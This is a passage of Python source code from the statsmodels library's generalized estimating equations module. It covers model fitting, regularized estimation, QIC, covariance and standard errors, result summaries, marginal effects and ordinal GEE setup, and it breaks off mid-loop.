self.cov_struct.dep_params)\n\n # Do not exit until the association parameters have been\n # updated at least once.\n if (del_params < ctol and\n (num_assoc_updates > 0 or self.update_dep is False)):\n break\n\n # Update the dependence structure\n if (self.update_dep and (itr % params_niter) == 0\n and (itr >= first_dep_update)):\n self._update_assoc(mean_params)\n num_assoc_updates += 1\n\n if del_params >= ctol:\n warnings.warn(\"Iteration limit reached prior to convergence\",\n IterationLimitWarning)\n\n if mean_params is None:\n warnings.warn(\"Unable to estimate GEE parameters.\",\n ConvergenceWarning)\n return None\n\n bcov, ncov, _ = self._covmat()\n if bcov is None:\n warnings.warn(\"Estimated covariance structure for GEE \"\n \"estimates is singular\", ConvergenceWarning)\n return None\n bc_cov = None\n if cov_type == \"bias_reduced\":\n bc_cov = self._bc_covmat(ncov)\n\n if self.constraint is not None:\n x = mean_params.copy()\n mean_params, bcov = self._handle_constraint(mean_params, bcov)\n if mean_params is None:\n warnings.warn(\"Unable to estimate constrained GEE \"\n \"parameters.\", ConvergenceWarning)\n return None\n\n y, ncov = self._handle_constraint(x, ncov)\n if y is None:\n warnings.warn(\"Unable to estimate constrained GEE \"\n \"parameters.\", ConvergenceWarning)\n return None\n\n if bc_cov is not None:\n y, bc_cov = self._handle_constraint(x, bc_cov)\n if x is None:\n warnings.warn(\"Unable to estimate constrained GEE \"\n \"parameters.\", ConvergenceWarning)\n return None\n\n scale = self.estimate_scale()\n\n # kwargs to add to results instance, need to be available in __init__\n res_kwds = dict(cov_type=cov_type,\n cov_robust=bcov,\n cov_naive=ncov,\n cov_robust_bc=bc_cov)\n\n # The superclass constructor will multiply the covariance\n # matrix argument bcov by scale, which we do not want, so we\n # divide bcov by the scale parameter here\n results = GEEResults(self, mean_params, bcov / scale, scale,\n cov_type=cov_type, use_t=False,\n attr_kwds=res_kwds)\n\n # attributes not needed during results__init__\n results.fit_history = self._fit_history\n self.fit_history = defaultdict(list)\n results.score_norm = del_params\n results.converged = (del_params < ctol)\n results.cov_struct = self.cov_struct\n results.params_niter = params_niter\n results.first_dep_update = first_dep_update\n results.ctol = ctol\n results.maxiter = maxiter\n\n # These will be copied over to subclasses when upgrading.\n results._props = [\"cov_type\", \"use_t\",\n \"cov_params_default\", \"cov_robust\",\n \"cov_naive\", \"cov_robust_bc\",\n \"fit_history\",\n \"score_norm\", \"converged\", \"cov_struct\",\n \"params_niter\", \"first_dep_update\", \"ctol\",\n \"maxiter\"]\n\n return GEEResultsWrapper(results)\n\n def _update_regularized(self, params, pen_wt, scad_param, eps):\n\n sn, hm = 0, 0\n\n for i in range(self.num_group):\n\n expval, _ = self.cached_means[i]\n resid = self.endog_li[i] - expval\n sdev = np.sqrt(self.family.variance(expval))\n\n ex = self.exog_li[i] * sdev[:, None]**2\n rslt = self.cov_struct.covariance_matrix_solve(\n expval, i, sdev, (resid, ex))\n sn0 = rslt[0]\n sn += np.dot(ex.T, sn0)\n hm0 = rslt[1]\n hm += np.dot(ex.T, hm0)\n\n # Wang et al. divide sn here by num_group, but that\n # seems to be incorrect\n\n ap = np.abs(params)\n clipped = np.clip(scad_param * pen_wt - ap, 0, np.inf)\n en = pen_wt * clipped * (ap > pen_wt)\n en /= (scad_param - 1) * pen_wt\n en += pen_wt * (ap <= pen_wt)\n en /= eps + ap\n\n hm.flat[::hm.shape[0] + 1] += self.num_group * en\n sn -= self.num_group * en * params\n try:\n update = np.linalg.solve(hm, sn)\n except np.linalg.LinAlgError:\n update = np.dot(np.linalg.pinv(hm), sn)\n msg = \"Encountered singularity in regularized GEE update\"\n warnings.warn(msg)\n hm *= self.estimate_scale()\n\n return update, hm\n\n def _regularized_covmat(self, mean_params):\n\n self.update_cached_means(mean_params)\n\n ma = 0\n\n for i in range(self.num_group):\n\n expval, _ = self.cached_means[i]\n resid = self.endog_li[i] - expval\n sdev = np.sqrt(self.family.variance(expval))\n\n ex = self.exog_li[i] * sdev[:, None]**2\n rslt = self.cov_struct.covariance_matrix_solve(\n expval, i, sdev, (resid,))\n ma0 = np.dot(ex.T, rslt[0])\n ma += np.outer(ma0, ma0)\n\n return ma\n\n def fit_regularized(self, pen_wt, scad_param=3.7, maxiter=100,\n ddof_scale=None, update_assoc=5,\n ctol=1e-5, ztol=1e-3, eps=1e-6, scale=None):\n \"\"\"\n Regularized estimation for GEE.\n\n Parameters\n ----------\n pen_wt : float\n The penalty weight (a non-negative scalar).\n scad_param : float\n Non-negative scalar determining the shape of the Scad\n penalty.\n maxiter : int\n The maximum number of iterations.\n ddof_scale : int\n Value to subtract from `nobs` when calculating the\n denominator degrees of freedom for t-statistics, defaults\n to the number of columns in `exog`.\n update_assoc : int\n The dependence parameters are updated every `update_assoc`\n iterations of the mean structure parameter updates.\n ctol : float\n Convergence criterion, default is one order of magnitude\n smaller than proposed in section 3.1 of Wang et al.\n ztol : float\n Coefficients smaller than this value are treated as\n being zero, default is based on section 5 of Wang et al.\n eps : non-negative scalar\n Numerical constant, see section 3.2 of Wang et al.\n scale : float or string\n If a float, this value is used as the scale parameter.\n If \"X2\", the scale parameter is always estimated using\n Pearson's chi-square method (e.g. as in a quasi-Poisson\n analysis). If None, the default approach for the family\n is used to estimate the scale parameter.\n\n Returns\n -------\n GEEResults instance. Note that not all methods of the results\n class make sense when the model has been fit with regularization.\n\n Notes\n -----\n This implementation assumes that the link is canonical.\n\n References\n ----------\n Wang L, Zhou J, Qu A. (2012). Penalized generalized estimating\n equations for high-dimensional longitudinal data analysis.\n Biometrics. 2012 Jun;68(2):353-60.\n doi: 10.1111/j.1541-0420.2011.01678.x.\n https://www.ncbi.nlm.nih.gov/pubmed/21955051\n http://users.stat.umn.edu/~wangx346/research/GEE_selection.pdf\n \"\"\"\n\n self.scaletype = scale\n\n mean_params = np.zeros(self.exog.shape[1])\n self.update_cached_means(mean_params)\n converged = False\n fit_history = defaultdict(list)\n\n # Subtract this number from the total sample size when\n # normalizing the scale parameter estimate.\n if ddof_scale is None:\n self.ddof_scale = self.exog.shape[1]\n else:\n if not ddof_scale >= 0:\n raise ValueError(\n \"ddof_scale must be a non-negative number or None\")\n self.ddof_scale = ddof_scale\n\n # Keep this private for now. In some cases the early steps are\n # very small so it seems necessary to ensure a certain minimum\n # number of iterations before testing for convergence.\n miniter = 20\n\n for itr in range(maxiter):\n\n update, hm = self._update_regularized(\n mean_params, pen_wt, scad_param, eps)\n if update is None:\n msg = \"Singular matrix encountered in regularized GEE update\"\n warnings.warn(msg, ConvergenceWarning)\n break\n if itr > miniter and np.sqrt(np.sum(update**2)) < ctol:\n converged = True\n break\n mean_params += update\n fit_history['params'].append(mean_params.copy())\n self.update_cached_means(mean_params)\n\n if itr != 0 and (itr % update_assoc == 0):\n self._update_assoc(mean_params)\n\n if not converged:\n msg = \"GEE.fit_regularized did not converge\"\n warnings.warn(msg)\n\n mean_params[np.abs(mean_params) < ztol] = 0\n\n self._update_assoc(mean_params)\n ma = self._regularized_covmat(mean_params)\n cov = np.linalg.solve(hm, ma)\n cov = np.linalg.solve(hm, cov.T)\n\n # kwargs to add to results instance, need to be available in __init__\n res_kwds = dict(cov_type=\"robust\", cov_robust=cov)\n\n scale = self.estimate_scale()\n rslt = GEEResults(self, mean_params, cov, scale,\n regularized=True, attr_kwds=res_kwds)\n rslt.fit_history = fit_history\n\n return GEEResultsWrapper(rslt)\n\n def _handle_constraint(self, mean_params, bcov):\n \"\"\"\n Expand the parameter estimate `mean_params` and covariance matrix\n `bcov` to the coordinate system of the unconstrained model.\n\n Parameters\n ----------\n mean_params : array_like\n A parameter vector estimate for the reduced model.\n bcov : array_like\n The covariance matrix of mean_params.\n\n Returns\n -------\n mean_params : array_like\n The input parameter vector mean_params, expanded to the\n coordinate system of the full model\n bcov : array_like\n The input covariance matrix bcov, expanded to the\n coordinate system of the full model\n \"\"\"\n\n # The number of variables in the full model\n red_p = len(mean_params)\n full_p = self.constraint.lhs.shape[1]\n mean_params0 = np.r_[mean_params, np.zeros(full_p - red_p)]\n\n # Get the score vector under the full model.\n save_exog_li = self.exog_li\n self.exog_li = self.constraint.exog_fulltrans_li\n import copy\n save_cached_means = copy.deepcopy(self.cached_means)\n self.update_cached_means(mean_params0)\n _, score = self._update_mean_params()\n\n if score is None:\n warnings.warn(\"Singular matrix encountered in GEE score test\",\n ConvergenceWarning)\n return None, None\n\n _, ncov1, cmat = self._covmat()\n scale = self.estimate_scale()\n cmat = cmat / scale ** 2\n score2 = score[red_p:] / scale\n amat = np.linalg.inv(ncov1)\n\n bmat_11 = cmat[0:red_p, 0:red_p]\n bmat_22 = cmat[red_p:, red_p:]\n bmat_12 = cmat[0:red_p, red_p:]\n amat_11 = amat[0:red_p, 0:red_p]\n amat_12 = amat[0:red_p, red_p:]\n\n score_cov = bmat_22 - np.dot(amat_12.T,\n np.linalg.solve(amat_11, bmat_12))\n score_cov -= np.dot(bmat_12.T,\n np.linalg.solve(amat_11, amat_12))\n score_cov += np.dot(amat_12.T,\n np.dot(np.linalg.solve(amat_11, bmat_11),\n np.linalg.solve(amat_11, amat_12)))\n\n from scipy.stats.distributions import chi2\n score_statistic = np.dot(score2,\n np.linalg.solve(score_cov, score2))\n score_df = len(score2)\n score_pvalue = 1 - chi2.cdf(score_statistic, score_df)\n self.score_test_results = {\"statistic\": score_statistic,\n \"df\": score_df,\n \"p-value\": score_pvalue}\n\n mean_params = self.constraint.unpack_param(mean_params)\n bcov = self.constraint.unpack_cov(bcov)\n\n self.exog_li = save_exog_li\n self.cached_means = save_cached_means\n self.exog = self.constraint.restore_exog()\n\n return mean_params, bcov\n\n def _update_assoc(self, params):\n \"\"\"\n Update the association parameters\n \"\"\"\n\n self.cov_struct.update(params)\n\n def _derivative_exog(self, params, exog=None, transform='dydx',\n dummy_idx=None, count_idx=None):\n \"\"\"\n For computing marginal effects, returns dF(XB) / dX where F(.)\n is the fitted mean.\n\n transform can be 'dydx', 'dyex', 'eydx', or 'eyex'.\n\n Not all of these make sense in the presence of discrete regressors,\n but checks are done in the results in get_margeff.\n \"\"\"\n # This form should be appropriate for group 1 probit, logit,\n # logistic, cloglog, heckprob, xtprobit.\n offset_exposure = None\n if exog is None:\n exog = self.exog\n offset_exposure = self._offset_exposure\n\n margeff = self.mean_deriv_exog(exog, params, offset_exposure)\n\n if 'ex' in transform:\n margeff *= exog\n if 'ey' in transform:\n margeff /= self.predict(params, exog)[:, None]\n if count_idx is not None:\n from statsmodels.discrete.discrete_margins import (\n _get_count_effects)\n margeff = _get_count_effects(margeff, exog, count_idx, transform,\n self, params)\n if dummy_idx is not None:\n from statsmodels.discrete.discrete_margins import (\n _get_dummy_effects)\n margeff = _get_dummy_effects(margeff, exog, dummy_idx, transform,\n self, params)\n return margeff\n\n def qic(self, params, scale, cov_params, n_step=1000):\n \"\"\"\n Returns quasi-information criteria and quasi-likelihood values.\n\n Parameters\n ----------\n params : array_like\n The GEE estimates of the regression parameters.\n scale : scalar\n Estimated scale parameter\n cov_params : array_like\n An estimate of the covariance matrix for the\n model parameters. Conventionally this is the robust\n covariance matrix.\n n_step : integer\n The number of points in the trapezoidal approximation\n to the quasi-likelihood function.\n\n Returns\n -------\n ql : scalar\n The quasi-likelihood value\n qic : scalar\n A QIC that can be used to compare the mean and covariance\n structures of the model.\n qicu : scalar\n A simplified QIC that can be used to compare mean structures\n but not covariance structures\n\n Notes\n -----\n The quasi-likelihood used here is obtained by numerically evaluating\n Wedderburn's integral representation of the quasi-likelihood function.\n This approach is valid for all families and links. Many other\n packages use analytical expressions for quasi-likelihoods that are\n valid in special cases where the link function is canonical. These\n analytical expressions may omit additive constants that only depend\n on the data. Therefore, the numerical values of our QL and QIC values\n will differ from the values reported by other packages. However only\n the differences between two QIC values calculated for different models\n using the same data are meaningful. Our QIC should produce the same\n QIC differences as other software.\n\n When using the QIC for models with unknown scale parameter, use a\n common estimate of the scale parameter for all models being compared.\n\n References\n ----------\n .. [*] W. Pan (2001). Akaike's information criterion in generalized\n estimating equations. Biometrics (57) 1.\n \"\"\"\n\n varfunc = self.family.variance\n\n means = []\n omega = 0.0\n # omega^-1 is the model-based covariance assuming independence\n\n for i in range(self.num_group):\n expval, lpr = self.cached_means[i]\n means.append(expval)\n dmat = self.mean_deriv(self.exog_li[i], lpr)\n omega += np.dot(dmat.T, dmat) / scale\n\n means = np.concatenate(means)\n\n # The quasi-likelihood, use change of variables so the integration is\n # from -1 to 1.\n endog_li = np.concatenate(self.endog_li)\n du = means - endog_li\n qv = np.empty(n_step)\n xv = np.linspace(-0.99999, 1, n_step)\n for i, g in enumerate(xv):\n u = endog_li + (g + 1) * du / 2.0\n vu = varfunc(u)\n qv[i] = -np.sum(du**2 * (g + 1) / vu)\n qv /= (4 * scale)\n\n try:\n from scipy.integrate import trapezoid\n except ImportError:\n # Remove after minimum is SciPy 1.7\n from scipy.integrate import trapz as trapezoid\n ql = trapezoid(qv, dx=xv[1] - xv[0])\n\n qicu = -2 * ql + 2 * self.exog.shape[1]\n qic = -2 * ql + 2 * np.trace(np.dot(omega, cov_params))\n\n return ql, qic, qicu\n\n\nclass GEEResults(GLMResults):\n\n __doc__ = (\n \"This class summarizes the fit of a marginal regression model \"\n \"using GEE.\\n\" + _gee_results_doc)\n\n def __init__(self, model, params, cov_params, scale,\n cov_type='robust', use_t=False, regularized=False,\n **kwds):\n\n super(GEEResults, self).__init__(\n model, params, normalized_cov_params=cov_params,\n scale=scale)\n\n # not added by super\n self.df_resid = model.df_resid\n self.df_model = model.df_model\n self.family = model.family\n\n attr_kwds = kwds.pop('attr_kwds', {})\n self.__dict__.update(attr_kwds)\n\n # we do not do this if the cov_type has already been set\n # subclasses can set it through attr_kwds\n if not (hasattr(self, 'cov_type') and\n hasattr(self, 'cov_params_default')):\n self.cov_type = cov_type # keep alias\n covariance_type = self.cov_type.lower()\n allowed_covariances = [\"robust\", \"naive\", \"bias_reduced\"]\n if covariance_type not in allowed_covariances:\n msg = (\"GEE: `cov_type` must be one of \" +\n \", \".join(allowed_covariances))\n raise ValueError(msg)\n\n if cov_type == \"robust\":\n cov = self.cov_robust\n elif cov_type == \"naive\":\n cov = self.cov_naive\n elif cov_type == \"bias_reduced\":\n cov = self.cov_robust_bc\n\n self.cov_params_default = cov\n else:\n if self.cov_type != cov_type:\n raise ValueError('cov_type in argument is different from '\n 'already attached cov_type')\n\n @cache_readonly\n def resid(self):\n \"\"\"\n The response residuals.\n \"\"\"\n return self.resid_response\n\n def standard_errors(self, cov_type=\"robust\"):\n \"\"\"\n This is a convenience function that returns the standard\n errors for any covariance type. The value of `bse` is the\n standard errors for whichever covariance type is specified as\n an argument to `fit` (defaults to \"robust\").\n\n Parameters\n ----------\n cov_type : str\n One of \"robust\", \"naive\", or \"bias_reduced\". Determines\n the covariance used to compute standard errors. Defaults\n to \"robust\".\n \"\"\"\n\n # Check covariance_type\n covariance_type = cov_type.lower()\n allowed_covariances = [\"robust\", \"naive\", \"bias_reduced\"]\n if covariance_type not in allowed_covariances:\n msg = (\"GEE: `covariance_type` must be one of \" +\n \", \".join(allowed_covariances))\n raise ValueError(msg)\n\n if covariance_type == \"robust\":\n return np.sqrt(np.diag(self.cov_robust))\n elif covariance_type == \"naive\":\n return np.sqrt(np.diag(self.cov_naive))\n elif covariance_type == \"bias_reduced\":\n if self.cov_robust_bc is None:\n raise ValueError(\n \"GEE: `bias_reduced` covariance not available\")\n return np.sqrt(np.diag(self.cov_robust_bc))\n\n # Need to override to allow for different covariance types.\n @cache_readonly\n def bse(self):\n return self.standard_errors(self.cov_type)\n\n def score_test(self):\n \"\"\"\n Return the results of a score test for a linear constraint.\n\n Returns\n -------\n Adictionary containing the p-value, the test statistic,\n and the degrees of freedom for the score test.\n\n Notes\n -----\n See also GEE.compare_score_test for an alternative way to perform\n a score test. GEEResults.score_test is more general, in that it\n supports testing arbitrary linear equality constraints. However\n GEE.compare_score_test might be easier to use when comparing\n two explicit models.\n\n References\n ----------\n Xu Guo and Wei Pan (2002). \"Small sample performance of the score\n test in GEE\".\n http://www.sph.umn.edu/faculty1/wp-content/uploads/2012/11/rr2002-013.pdf\n \"\"\"\n\n if not hasattr(self.model, \"score_test_results\"):\n msg = \"score_test on results instance only available when \"\n msg += \" model was fit with constraints\"\n raise ValueError(msg)\n\n return self.model.score_test_results\n\n @cache_readonly\n def resid_split(self):\n \"\"\"\n Returns the residuals, the endogeneous data minus the fitted\n values from the model. The residuals are returned as a list\n of arrays containing the residuals for each cluster.\n \"\"\"\n sresid = []\n for v in self.model.group_labels:\n ii = self.model.group_indices[v]\n sresid.append(self.resid[ii])\n return sresid\n\n @cache_readonly\n def resid_centered(self):\n \"\"\"\n Returns the residuals centered within each group.\n \"\"\"\n cresid = self.resid.copy()\n for v in self.model.group_labels:\n ii = self.model.group_indices[v]\n cresid[ii] -= cresid[ii].mean()\n return cresid\n\n @cache_readonly\n def resid_centered_split(self):\n \"\"\"\n Returns the residuals centered within each group. The\n residuals are returned as a list of arrays containing the\n centered residuals for each cluster.\n \"\"\"\n sresid = []\n for v in self.model.group_labels:\n ii = self.model.group_indices[v]\n sresid.append(self.centered_resid[ii])\n return sresid\n\n def qic(self, scale=None, n_step=1000):\n \"\"\"\n Returns the QIC and QICu information criteria.\n\n See GEE.qic for documentation.\n \"\"\"\n\n # It is easy to forget to set the scale parameter. Sometimes\n # this is intentional, so we warn.\n if scale is None:\n warnings.warn(\"QIC values obtained using scale=None are not \"\n \"appropriate for comparing models\")\n\n if scale is None:\n scale = self.scale\n\n _, qic, qicu = self.model.qic(self.params, scale,\n self.cov_params(),\n n_step=n_step)\n\n return qic, qicu\n\n # FIXME: alias to be removed, temporary backwards compatibility\n split_resid = resid_split\n centered_resid = resid_centered\n split_centered_resid = resid_centered_split\n\n @Appender(_plot_added_variable_doc % {'extra_params_doc': ''})\n def plot_added_variable(self, focus_exog, resid_type=None,\n use_glm_weights=True, fit_kwargs=None,\n ax=None):\n\n from statsmodels.graphics.regressionplots import plot_added_variable\n\n fig = plot_added_variable(self, focus_exog,\n resid_type=resid_type,\n use_glm_weights=use_glm_weights,\n fit_kwargs=fit_kwargs, ax=ax)\n\n return fig\n\n @Appender(_plot_partial_residuals_doc % {'extra_params_doc': ''})\n def plot_partial_residuals(self, focus_exog, ax=None):\n\n from statsmodels.graphics.regressionplots import plot_partial_residuals\n\n return plot_partial_residuals(self, focus_exog, ax=ax)\n\n @Appender(_plot_ceres_residuals_doc % {'extra_params_doc': ''})\n def plot_ceres_residuals(self, focus_exog, frac=0.66, cond_means=None,\n ax=None):\n\n from statsmodels.graphics.regressionplots import plot_ceres_residuals\n\n return plot_ceres_residuals(self, focus_exog, frac,\n cond_means=cond_means, ax=ax)\n\n def conf_int(self, alpha=.05, cols=None, cov_type=None):\n \"\"\"\n Returns confidence intervals for the fitted parameters.\n\n Parameters\n ----------\n alpha : float, optional\n The `alpha` level for the confidence interval. i.e., The\n default `alpha` = .05 returns a 95% confidence interval.\n cols : array_like, optional\n `cols` specifies which confidence intervals to return\n cov_type : str\n The covariance type used for computing standard errors;\n must be one of 'robust', 'naive', and 'bias reduced'.\n See `GEE` for details.\n\n Notes\n -----\n The confidence interval is based on the Gaussian distribution.\n \"\"\"\n # super does not allow to specify cov_type and method is not\n # implemented,\n # FIXME: remove this method here\n if cov_type is None:\n bse = self.bse\n else:\n bse = self.standard_errors(cov_type=cov_type)\n params = self.params\n dist = stats.norm\n q = dist.ppf(1 - alpha / 2)\n\n if cols is None:\n lower = self.params - q * bse\n upper = self.params + q * bse\n else:\n cols = np.asarray(cols)\n lower = params[cols] - q * bse[cols]\n upper = params[cols] + q * bse[cols]\n return np.asarray(lzip(lower, upper))\n\n def summary(self, yname=None, xname=None, title=None, alpha=.05):\n \"\"\"\n Summarize the GEE regression results\n\n Parameters\n ----------\n yname : str, optional\n Default is `y`\n xname : list[str], optional\n Names for the exogenous variables, default is `var_#` for ## in\n the number of regressors. Must match the number of parameters in\n the model\n title : str, optional\n Title for the top table. If not None, then this replaces\n the default title\n alpha : float\n significance level for the confidence intervals\n cov_type : str\n The covariance type used to compute the standard errors;\n one of 'robust' (the usual robust sandwich-type covariance\n estimate), 'naive' (ignores dependence), and 'bias\n reduced' (the Mancl/DeRouen estimate).\n\n Returns\n -------\n smry : Summary instance\n this holds the summary tables and text, which can be\n printed or converted to various output formats.\n\n See Also\n --------\n statsmodels.iolib.summary.Summary : class to hold summary results\n \"\"\"\n\n top_left = [('Dep. Variable:', None),\n ('Model:', None),\n ('Method:', ['Generalized']),\n ('', ['Estimating Equations']),\n ('Family:', [self.model.family.__class__.__name__]),\n ('Dependence structure:',\n [self.model.cov_struct.__class__.__name__]),\n ('Date:', None),\n ('Covariance type: ', [self.cov_type, ])\n ]\n\n NY = [len(y) for y in self.model.endog_li]\n\n top_right = [('No. Observations:', [sum(NY)]),\n ('No. clusters:', [len(self.model.endog_li)]),\n ('Min. cluster size:', [min(NY)]),\n ('Max. cluster size:', [max(NY)]),\n ('Mean cluster size:', [\"%.1f\" % np.mean(NY)]),\n ('Num. iterations:', ['%d' %\n len(self.fit_history['params'])]),\n ('Scale:', [\"%.3f\" % self.scale]),\n ('Time:', None),\n ]\n\n # The skew of the residuals\n skew1 = stats.skew(self.resid)\n kurt1 = stats.kurtosis(self.resid)\n skew2 = stats.skew(self.centered_resid)\n kurt2 = stats.kurtosis(self.centered_resid)\n\n diagn_left = [('Skew:', [\"%12.4f\" % skew1]),\n ('Centered skew:', [\"%12.4f\" % skew2])]\n\n diagn_right = [('Kurtosis:', [\"%12.4f\" % kurt1]),\n ('Centered kurtosis:', [\"%12.4f\" % kurt2])\n ]\n\n if title is None:\n title = self.model.__class__.__name__ + ' ' +\\\n \"Regression Results\"\n\n # Override the exog variable names if xname is provided as an\n # argument.\n if xname is None:\n xname = self.model.exog_names\n\n if yname is None:\n yname = self.model.endog_names\n\n # Create summary table instance\n from statsmodels.iolib.summary import Summary\n smry = Summary()\n smry.add_table_2cols(self, gleft=top_left, gright=top_right,\n yname=yname, xname=xname,\n title=title)\n smry.add_table_params(self, yname=yname, xname=xname,\n alpha=alpha, use_t=False)\n smry.add_table_2cols(self, gleft=diagn_left,\n gright=diagn_right, yname=yname,\n xname=xname, title=\"\")\n\n return smry\n\n def get_margeff(self, at='overall', method='dydx', atexog=None,\n dummy=False, count=False):\n \"\"\"Get marginal effects of the fitted model.\n\n Parameters\n ----------\n at : str, optional\n Options are:\n\n - 'overall', The average of the marginal effects at each\n observation.\n - 'mean', The marginal effects at the mean of each regressor.\n - 'median', The marginal effects at the median of each regressor.\n - 'zero', The marginal effects at zero for each regressor.\n - 'all', The marginal effects at each observation. If `at` is 'all'\n only margeff will be available.\n\n Note that if `exog` is specified, then marginal effects for all\n variables not specified by `exog` are calculated using the `at`\n option.\n method : str, optional\n Options are:\n\n - 'dydx' - dy/dx - No transformation is made and marginal effects\n are returned. This is the default.\n - 'eyex' - estimate elasticities of variables in `exog` --\n d(lny)/d(lnx)\n - 'dyex' - estimate semi-elasticity -- dy/d(lnx)\n - 'eydx' - estimate semi-elasticity -- d(lny)/dx\n\n Note that tranformations are done after each observation is\n calculated. Semi-elasticities for binary variables are computed\n using the midpoint method. 'dyex' and 'eyex' do not make sense\n for discrete variables.\n atexog : array_like, optional\n Optionally, you can provide the exogenous variables over which to\n get the marginal effects. This should be a dictionary with the key\n as the zero-indexed column number and the value of the dictionary.\n Default is None for all independent variables less the constant.\n dummy : bool, optional\n If False, treats binary variables (if present) as continuous. This\n is the default. Else if True, treats binary variables as\n changing from 0 to 1. Note that any variable that is either 0 or 1\n is treated as binary. Each binary variable is treated separately\n for now.\n count : bool, optional\n If False, treats count variables (if present) as continuous. This\n is the default. Else if True, the marginal effect is the\n change in probabilities when each observation is increased by one.\n\n Returns\n -------\n effects : ndarray\n the marginal effect corresponding to the input options\n\n Notes\n -----\n When using after Poisson, returns the expected number of events\n per period, assuming that the model is loglinear.\n \"\"\"\n\n if self.model.constraint is not None:\n warnings.warn(\"marginal effects ignore constraints\",\n ValueWarning)\n\n return GEEMargins(self, (at, method, atexog, dummy, count))\n\n def plot_isotropic_dependence(self, ax=None, xpoints=10,\n min_n=50):\n \"\"\"\n Create a plot of the pairwise products of within-group\n residuals against the corresponding time differences. This\n plot can be used to assess the possible form of an isotropic\n covariance structure.\n\n Parameters\n ----------\n ax : AxesSubplot\n An axes on which to draw the graph. If None, new\n figure and axes objects are created\n xpoints : scalar or array_like\n If scalar, the number of points equally spaced points on\n the time difference axis used to define bins for\n calculating local means. If an array, the specific points\n that define the bins.\n min_n : int\n The minimum sample size in a bin for the mean residual\n product to be included on the plot.\n \"\"\"\n\n from statsmodels.graphics import utils as gutils\n\n resid = self.model.cluster_list(self.resid)\n time = self.model.cluster_list(self.model.time)\n\n # All within-group pairwise time distances (xdt) and the\n # corresponding products of scaled residuals (xre).\n xre, xdt = [], []\n for re, ti in zip(resid, time):\n ix = np.tril_indices(re.shape[0], 0)\n re = re[ix[0]] * re[ix[1]] / self.scale ** 2\n xre.append(re)\n dists = np.sqrt(((ti[ix[0], :] - ti[ix[1], :]) ** 2).sum(1))\n xdt.append(dists)\n\n xre = np.concatenate(xre)\n xdt = np.concatenate(xdt)\n\n if ax is None:\n fig, ax = gutils.create_mpl_ax(ax)\n else:\n fig = ax.get_figure()\n\n # Convert to a correlation\n ii = np.flatnonzero(xdt == 0)\n v0 = np.mean(xre[ii])\n xre /= v0\n\n # Use the simple average to smooth, since fancier smoothers\n # that trim and downweight outliers give biased results (we\n # need the actual mean of a skewed distribution).\n if np.isscalar(xpoints):\n xpoints = np.linspace(0, max(xdt), xpoints)\n dg = np.digitize(xdt, xpoints)\n dgu = np.unique(dg)\n hist = np.asarray([np.sum(dg == k) for k in dgu])\n ii = np.flatnonzero(hist >= min_n)\n dgu = dgu[ii]\n dgy = np.asarray([np.mean(xre[dg == k]) for k in dgu])\n dgx = np.asarray([np.mean(xdt[dg == k]) for k in dgu])\n\n ax.plot(dgx, dgy, '-', color='orange', lw=5)\n ax.set_xlabel(\"Time difference\")\n ax.set_ylabel(\"Product of scaled residuals\")\n\n return fig\n\n def sensitivity_params(self, dep_params_first,\n dep_params_last, num_steps):\n \"\"\"\n Refits the GEE model using a sequence of values for the\n dependence parameters.\n\n Parameters\n ----------\n dep_params_first : array_like\n The first dep_params in the sequence\n dep_params_last : array_like\n The last dep_params in the sequence\n num_steps : int\n The number of dep_params in the sequence\n\n Returns\n -------\n results : array_like\n The GEEResults objects resulting from the fits.\n \"\"\"\n\n model = self.model\n\n import copy\n cov_struct = copy.deepcopy(self.model.cov_struct)\n\n # We are fixing the dependence structure in each run.\n update_dep = model.update_dep\n model.update_dep = False\n\n dep_params = []\n results = []\n for x in np.linspace(0, 1, num_steps):\n\n dp = x * dep_params_last + (1 - x) * dep_params_first\n dep_params.append(dp)\n\n model.cov_struct = copy.deepcopy(cov_struct)\n model.cov_struct.dep_params = dp\n rslt = model.fit(start_params=self.params,\n ctol=self.ctol,\n params_niter=self.params_niter,\n first_dep_update=self.first_dep_update,\n cov_type=self.cov_type)\n results.append(rslt)\n\n model.update_dep = update_dep\n\n return results\n\n # FIXME: alias to be removed, temporary backwards compatibility\n params_sensitivity = sensitivity_params\n\n\nclass GEEResultsWrapper(lm.RegressionResultsWrapper):\n _attrs = {\n 'centered_resid': 'rows',\n }\n _wrap_attrs = wrap.union_dicts(lm.RegressionResultsWrapper._wrap_attrs,\n _attrs)\nwrap.populate_wrapper(GEEResultsWrapper, GEEResults) # noqa:E305\n\n\nclass OrdinalGEE(GEE):\n\n __doc__ = (\n \" Ordinal Response Marginal Regression Model using GEE\\n\" +\n _gee_init_doc % {'extra_params': base._missing_param_doc,\n 'family_doc': _gee_ordinal_family_doc,\n 'example': _gee_ordinal_example,\n 'notes': _gee_nointercept})\n\n def __init__(self, endog, exog, groups, time=None, family=None,\n cov_struct=None, missing='none', offset=None,\n dep_data=None, constraint=None, **kwargs):\n\n if family is None:\n family = families.Binomial()\n else:\n if not isinstance(family, families.Binomial):\n raise ValueError(\"ordinal GEE must use a Binomial family\")\n\n if cov_struct is None:\n cov_struct = cov_structs.OrdinalIndependence()\n\n endog, exog, groups, time, offset = self.setup_ordinal(\n endog, exog, groups, time, offset)\n\n super(OrdinalGEE, self).__init__(endog, exog, groups, time,\n family, cov_struct, missing,\n offset, dep_data, constraint)\n\n def setup_ordinal(self, endog, exog, groups, time, offset):\n \"\"\"\n Restructure ordinal data as binary indicators so that they can\n be analyzed using Generalized Estimating Equations.\n \"\"\"\n\n self.endog_orig = endog.copy()\n self.exog_orig = exog.copy()\n self.groups_orig = groups.copy()\n if offset is not None:\n self.offset_orig = offset.copy()\n else:\n self.offset_orig = None\n offset = np.zeros(len(endog))\n if time is not None:\n self.time_orig = time.copy()\n else:\n self.time_orig = None\n time = np.zeros((len(endog), 1))\n\n exog = np.asarray(exog)\n endog = np.asarray(endog)\n groups = np.asarray(groups)\n time = np.asarray(time)\n offset = np.asarray(offset)\n\n # The unique outcomes, except the greatest one.\n self.endog_values = np.unique(endog)\n endog_cuts = self.endog_values[0:-1]\n ncut = len(endog_cuts)\n\n nrows = ncut * len(endog)\n exog_out = np.zeros((nrows, exog.shape[1]),\n dtype=np.float64)\n endog_out = np.zeros(nrows, dtype=np.float64)\n intercepts = np.zeros((nrows, ncut), dtype=np.float64)\n groups_out = np.zeros(nrows, dtype=groups.dtype)\n time_out = np.zeros((nrows, time.shape[1]),\n dtype=np.float64)\n offset_out = np.zeros(nrows, dtype=np.float64)\n\n jrow = 0\n zipper = zip(exog, endog, groups, time, offset)\n for (exog_row, endog_value, group_value, time_value,\n offset_value) in zipper:\n\n # Loop over thresholds for the indicators\n for thresh_ix, thresh in enumerate(endog_cuts):\n\n 